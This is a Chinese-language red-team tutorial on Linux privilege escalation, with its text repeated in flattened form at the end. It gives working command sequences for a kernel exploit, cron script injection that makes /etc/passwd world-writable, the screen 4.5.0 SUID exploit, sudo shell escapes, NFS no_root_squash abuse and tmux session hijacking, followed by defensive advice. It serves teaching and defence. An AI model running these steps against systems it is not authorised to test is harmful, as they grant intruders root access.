红队测试之Linux提权小结
字数 1271 2025-08-15 21:32:33

Linux提权技术全面指南

1. 提权概述

权限提升是指用户获得超出其当前权限级别的访问能力的过程。在Linux系统中,这通常意味着从普通用户权限提升到root管理员权限。

为什么需要提权

  • 读取/写入敏感文件
  • 维持持久性访问("隧道"权限)
  • 植入后门程序
  • 进行数据窃取或篡改
  • 传播恶意软件

2. Linux常见提权方法

2.1 内核漏洞提权

原理:利用Linux内核中的安全漏洞获取root权限。

工具:linux-exploit-suggester.sh

步骤

  1. 检查内核版本:uname -a
  2. 下载检测工具:
    wget https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh -O les.sh
    chmod +x les.sh
    ./les.sh
    
  3. 根据建议搜索相应漏洞利用代码(如脏牛漏洞):
    searchsploit dirty
    
  4. 上传并编译利用代码:
    gcc -pthread 40839.c -o exploit -lcrypt
    ./exploit
    
  5. 利用成功后通常会创建一个UID为0的用户

2.2 定时任务(Cron)提权

原理:利用配置不当的定时任务执行恶意代码。

检测方法

  • 检查可写的cron脚本或二进制文件
  • 检查可写的cron.d目录
  • 使用pspy监听进程

工具:pspy (https://github.com/DominicBreuker/pspy)

利用步骤

  1. 上传pspy并执行:
    chmod +x pspy64
    ./pspy64
    
  2. 观察以root权限执行的脚本
  3. 如果发现可写的脚本文件,注入恶意代码:
    echo '恶意代码' >> /path/to/script.sh
    

示例

echo 'import os,stat ;os.chmod("/etc/passwd", stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)' >> test.py

2.3 SUID文件提权

原理:利用配置不当的SUID程序执行特权操作。

检测方法

  • 查找具有SUID位的文件:
    find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
    
  • 使用LinEnum.sh收集信息:
    wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
    chmod +x LinEnum.sh
    ./LinEnum.sh
    

利用示例(screen 4.5.0漏洞):

  1. 下载并编译利用代码:
    gcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c
    gcc -o /tmp/rootshell rootshell.c
    
  2. 执行利用:
    cd /etc
    umask 000
    /bin/screen-4.5.0 -D -m -L ld.so.preload
    echo -ne "\x0a/tmp/libhax.so" > ld.so.preload
    /bin/screen-4.5.0 -ls
    /tmp/rootshell
    

2.4 Sudo配置错误提权

检测方法

sudo -l

常见利用方式

  1. 如果允许执行find命令:
    sudo find /home -exec sh -i \;
    
  2. 如果允许执行vim:
    sudo vim -c '!sh'
    
  3. 如果允许执行less/more:
    sudo less /etc/passwd
    !sh
    

2.5 NFS提权

原理:利用no_root_squash配置错误的NFS共享。

检测方法

cat /etc/exports

利用步骤

  1. 在攻击机上挂载共享:
    mount -t nfs 目标IP:/共享目录 /本地挂载点
    
  2. 创建具有SUID位的shell:
    cp /bin/sh /本地挂载点/shell
    chmod +s /本地挂载点/shell
    
  3. 在目标机上执行:
    ./shell -p
    

2.6 第三方服务提权

示例:tmux提权

检测方法

ps aux | grep tmux

利用步骤

  1. 查找tmux会话:
    tmux -S /.devs/dev_sess
    
  2. 如果发现root权限的tmux会话,直接连接:
    tmux -S /发现的路径 attach
    

3. 提权技术总结

提权检查清单

  1. 内核检查

    • 检查内核版本
    • 使用linux-exploit-suggester查找可用漏洞
  2. 系统配置检查

    • 检查sudo权限(sudo -l)
    • 查找SUID文件(find / -perm -4000)
    • 检查定时任务(crontab -l, /etc/cron*)
  3. 服务检查

    • 检查NFS配置(/etc/exports)
    • 查找以root运行的第三方服务
  4. 文件权限检查

    • 检查可写的系统文件(/etc/passwd, /etc/shadow)
    • 检查可写的脚本文件

防御建议

  1. 定期更新系统和内核
  2. 遵循最小权限原则配置sudo
  3. 谨慎设置SUID位
  4. 安全配置NFS共享
  5. 监控系统进程和文件变更
  6. 使用安全的定时任务配置
  7. 及时更新第三方服务

通过全面了解这些提权技术,安全人员可以更好地评估系统安全性,同时系统管理员可以采取更有针对性的防御措施。

Linux提权技术全面指南 1. 提权概述 权限提升是指用户获得超出其当前权限级别的访问能力的过程。在Linux系统中,这通常意味着从普通用户权限提升到root管理员权限。 为什么需要提权 读取/写入敏感文件 维持持久性访问("隧道"权限) 植入后门程序 进行数据窃取或篡改 传播恶意软件 2. Linux常见提权方法 2.1 内核漏洞提权 原理 :利用Linux内核中的安全漏洞获取root权限。 工具 :linux-exploit-suggester.sh 步骤 : 检查内核版本: uname -a 下载检测工具: 根据建议搜索相应漏洞利用代码(如脏牛漏洞): 上传并编译利用代码: 利用成功后通常会创建一个UID为0的用户 2.2 定时任务(Cron)提权 原理 :利用配置不当的定时任务执行恶意代码。 检测方法 : 检查可写的cron脚本或二进制文件 检查可写的cron.d目录 使用pspy监听进程 工具 :pspy (https://github.com/DominicBreuker/pspy) 利用步骤 : 上传pspy并执行: 观察以root权限执行的脚本 如果发现可写的脚本文件,注入恶意代码: 示例 : 2.3 SUID文件提权 原理 :利用配置不当的SUID程序执行特权操作。 检测方法 : 查找具有SUID位的文件: 使用LinEnum.sh收集信息: 利用示例 (screen 4.5.0漏洞): 下载并编译利用代码: 执行利用: 2.4 Sudo配置错误提权 检测方法 : 常见利用方式 : 如果允许执行find命令: 如果允许执行vim: 如果允许执行less/more: 2.5 NFS提权 原理 :利用no_ root_ squash配置错误的NFS共享。 检测方法 : 利用步骤 : 在攻击机上挂载共享: 创建具有SUID位的shell: 在目标机上执行: 2.6 第三方服务提权 示例 :tmux提权 检测方法 : 利用步骤 : 查找tmux会话: 如果发现root权限的tmux会话,直接连接: 3. 提权技术总结 提权检查清单 内核检查 : 检查内核版本 使用linux-exploit-suggester查找可用漏洞 系统配置检查 : 检查sudo权限( sudo -l ) 查找SUID文件( find / -perm -4000 ) 检查定时任务( crontab -l , /etc/cron* ) 服务检查 : 检查NFS配置( /etc/exports ) 查找以root运行的第三方服务 文件权限检查 : 检查可写的系统文件( /etc/passwd , /etc/shadow ) 检查可写的脚本文件 防御建议 定期更新系统和内核 遵循最小权限原则配置sudo 谨慎设置SUID位 安全配置NFS共享 监控系统进程和文件变更 使用安全的定时任务配置 及时更新第三方服务 通过全面了解这些提权技术,安全人员可以更好地评估系统安全性,同时系统管理员可以采取更有针对性的防御措施。